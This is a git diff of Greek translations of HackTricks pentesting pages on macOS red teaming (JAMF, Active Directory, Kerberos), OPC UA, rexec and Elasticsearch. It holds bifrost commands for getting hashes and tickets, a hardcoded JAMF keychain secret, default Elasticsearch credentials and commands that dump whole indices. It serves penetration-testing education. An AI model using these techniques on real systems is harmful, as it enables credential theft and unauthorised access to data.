+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
 {% endhint %}

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -30,7 +30,7 @@

 Εάν καταφέρετε να **συμβιβάσετε τα διαπιστευτήρια διαχειριστή** για να αποκτήσετε πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε να **συμβιβάσετε δυνητικά όλους τους υπολογιστές** διανέμοντας το κακόβουλο λογισμικό σας στις μηχανές.

-Για red teaming σε περιβάλλοντα MacOS, συνιστάται να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs:
+Για red teaming σε περιβάλλοντα MacOS, συνιστάται έντονα να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs:

 {% content-ref url="macos-mdm/" %}
 [macos-mdm](macos-mdm/)
@ -54,7 +54,7 @@

 #### Αυτοεγγραφή JAMF

-Μεταβείτε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **επιτρέψει την αυτοεγγραφή**. Εάν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.
+Μεταβείτε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Εάν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.

 Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying.

@ -66,10 +66,10 @@

 <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>

-Ο **`jamf`** δυαδικός περιέχει το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
+Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά τη διάρκεια της ανακάλυψης ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
 Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**

-#### Κατάληψη συσκευής JAMF
+#### Κατάληψη Συσκευής JAMF

 Η **JSS** (Jamf Software Server) **URL** που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
 Αυτό το αρχείο περιέχει βασικά την URL:
@ -111,9 +111,9 @@ sudo jamf policy -id 0

 <figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>

-Μπορείς επίσης να παρακολουθήσεις την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
+Μπορείς επίσης να παρακολουθείς την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.

-Ωστόσο, **τα διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθήσεις `ps aux | grep -i jamf` (χωρίς καν να είσαι root).
+Ωστόσο, **τα διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθείς `ps aux | grep -i jamf` (χωρίς καν να είσαι root).

 Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας.

@ -145,10 +145,10 @@ sudo jamf policy -id 0
 ```bash
 dscl "/Active Directory/[Domain]/All Domains" ls /
 ```
-Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για το MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos:
+Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για το MacOS για αυτόματη καταμέτρηση του AD και πειραματισμό με το kerberos:

-* [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts.
-* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για αλληλεπίδραση με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο.
+* [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε υπολογιστές MacOS.
+* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο.
 * [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory.

 ### Πληροφορίες Τομέα
@ -164,7 +164,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
 * **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους.

 Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
-Για παράδειγμα, οι πληροφορίες για τον χρήστη που ονομάζεται _mark_ αποθηκεύονται στο _/var/db/dslocal/nodes/Default/users/mark.plist_ και οι πληροφορίες για την ομάδα _admin_ είναι στο _/var/db/dslocal/nodes/Default/groups/admin.plist_.
+Για παράδειγμα, οι πληροφορίες σχετικά με τον χρήστη που ονομάζεται _mark_ αποθηκεύονται στο _/var/db/dslocal/nodes/Default/users/mark.plist_ και οι πληροφορίες σχετικά με την ομάδα _admin_ είναι στο _/var/db/dslocal/nodes/Default/groups/admin.plist_.

 Εκτός από τη χρήση των ακμών HasSession και AdminTo, **το MacHound προσθέτει τρεις νέες ακμές** στη βάση δεδομένων Bloodhound:

@ -200,7 +200,7 @@ dsconfigad -show
 ```bash
 bifrost --action askhash --username [name] --password [password] --domain [domain]
 ```
-Είναι δυνατόν να αποκτήσετε τον κωδικό πρόσβασης **`Computer$`** μέσα από το System keychain.
+Είναι δυνατή η πρόσβαση στον **`Computer$`** κωδικό πρόσβασης μέσα στο System keychain.

 ### Over-Pass-The-Hash

@ -220,14 +220,14 @@ bifrost --action asktgt --username test_lab_admin \
 bifrost --action asktgs --spn [service] --domain [domain.com] \
 --username [user] --hash [hash] --enctype [enctype]
 ```
-Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές:
+Με τα αποκτηθέντα εισιτήρια υπηρεσιών είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές:
 ```bash
 smbutil view //computer.fqdn
 mount -t smbfs //server/folder /local/mount/point
 ```
 ## Πρόσβαση στο Keychain

-Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που αν αποκτηθούν χωρίς να παραχθεί προτροπή θα μπορούσαν να βοηθήσουν στην προώθηση μιας άσκησης red team:
+Το Keychain περιέχει πολύ πιθανόν ευαίσθητες πληροφορίες που αν αποκτηθούν χωρίς να δημιουργηθεί προτροπή θα μπορούσαν να βοηθήσουν στην προώθηση μιας άσκησης red team:

 {% content-ref url="macos-keychain.md" %}
 [macos-keychain.md](macos-keychain.md)
@ -255,9 +255,9 @@ mount -t smbfs //server/folder /local/mount/point

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/4840-pentesting-opc-ua.md
+++ b/network-services-pentesting/4840-pentesting-opc-ua.md
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -42,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
 ```
 ### Εκμετάλλευση ευπαθειών

-Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας έως την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.
+Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας μέχρι την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.

 Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης.

@ -56,7 +56,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

--- a/network-services-pentesting/512-pentesting-rexec.md
+++ b/network-services-pentesting/512-pentesting-rexec.md
@ -1,33 +1,33 @@
 # 512 - Pentesting Rexec

 {% hint style="success" %}
-Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

 <details>

-<summary>Υποστήριξη HackTricks</summary>
+<summary>Support HackTricks</summary>

-* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
 {% endhint %}

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

-## Βασικές Πληροφορίες
+## Basic Information

-Είναι μια υπηρεσία που **σας επιτρέπει να εκτελείτε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).
+Είναι μια υπηρεσία που **σας επιτρέπει να εκτελέσετε μια εντολή μέσα σε έναν υπολογιστή** αν γνωρίζετε έγκυρα **διαπιστευτήρια** (όνομα χρήστη και κωδικό πρόσβασης).

-**Προεπιλεγμένη Θύρα:** 512
+**Default Port:** 512
 ```
 PORT    STATE SERVICE
 512/tcp open  exec
@ -36,9 +36,9 @@ PORT    STATE SERVICE

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/9200-pentesting-elasticsearch.md
+++ b/network-services-pentesting/9200-pentesting-elasticsearch.md
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

@ -25,11 +25,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 ## Basic information

-Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωτότητά** της και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριά εργαλεία αποστολής δεδομένων που ονομάζονται Beats.
+Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωτότητά** της και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (γνωστή τώρα ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριά agents αποστολής δεδομένων που ονομάζονται Beats.

 ### What is an Elasticsearch index?

-Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, boolean, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.).
+Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.).

 Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη.

@ -49,7 +49,7 @@ Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού

 ### Authentication

-**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα της βάσης χωρίς να χρησιμοποιήσετε διαπιστευτήρια.
+**Από προεπιλογή, το Elasticsearch δεν έχει ενεργοποιημένη την αυθεντικοποίηση**, οπότε από προεπιλογή μπορείτε να έχετε πρόσβαση σε όλα μέσα στη βάση δεδομένων χωρίς να χρησιμοποιήσετε διαπιστευτήρια.

 Μπορείτε να επιβεβαιώσετε ότι η αυθεντικοποίηση είναι απενεργοποιημένη με ένα αίτημα προς:
 ```bash
@ -61,7 +61,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
 {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
 ```
 Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το BF HTTP basic auth μπορεί να χρησιμοποιηθεί).\
-Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρηστών**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό **changeme** για αυτόν τον χρήστη.
+Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_. Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη.
 ```
 curl -X GET http://user:password@IP:9200/
 ```
@ -133,14 +133,14 @@ yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0

 _Πάρτε μια στιγμή για να συγκρίνετε τα περιεχόμενα κάθε εγγράφου (καταχώριση) μέσα στον δείκτη bank και τα πεδία αυτού του δείκτη που είδαμε στην προηγούμενη ενότητα._

-Έτσι, σε αυτό το σημείο μπορεί να παρατηρήσετε ότι **υπάρχει ένα πεδίο που ονομάζεται "total" μέσα σε "hits"** που υποδεικνύει ότι **βρέθηκαν 1000 έγγραφα** μέσα σε αυτόν τον δείκτη αλλά μόνο 10 ανακτήθηκαν. Αυτό συμβαίνει επειδή **κατά προεπιλογή υπάρχει όριο 10 εγγράφων**.\
+Έτσι, σε αυτό το σημείο μπορεί να παρατηρήσετε ότι **υπάρχει ένα πεδίο που ονομάζεται "total" μέσα σε "hits"** που υποδεικνύει ότι **βρέθηκαν 1000 έγγραφα** μέσα σε αυτόν τον δείκτη αλλά μόνο 10 ανακτήθηκαν. Αυτό συμβαίνει επειδή **κατά προεπιλογή υπάρχει ένα όριο 10 εγγράφων**.\
 Αλλά, τώρα που ξέρετε ότι **αυτός ο δείκτης περιέχει 1000 έγγραφα**, μπορείτε να **εξάγετε όλα αυτά** υποδεικνύοντας τον αριθμό των καταχωρίσεων που θέλετε να εξάγετε στην παράμετρο **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
-_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._
+_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα, θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._

 ### Dump all

-Για να εξάγετε όλα μπορείτε απλά να πάτε στον **ίδιο δρόμο όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\
-Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε **μεγαλύτερο αριθμό αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες.
+Για να εξάγετε όλα μπορείτε απλά να πάτε στο **ίδιο μονοπάτι όπως πριν αλλά χωρίς να υποδείξετε κανέναν δείκτη** `http://host:9200/_search?pretty=true` όπως `http://10.10.10.115:9200/_search?pretty=true`\
+Θυμηθείτε ότι σε αυτή την περίπτωση θα εφαρμοστεί το **προεπιλεγμένο όριο των 10** αποτελεσμάτων. Μπορείτε να χρησιμοποιήσετε την παράμετρο `size` για να εξάγετε μια **μεγαλύτερη ποσότητα αποτελεσμάτων**. Διαβάστε την προηγούμενη ενότητα για περισσότερες πληροφορίες.

 ### Search

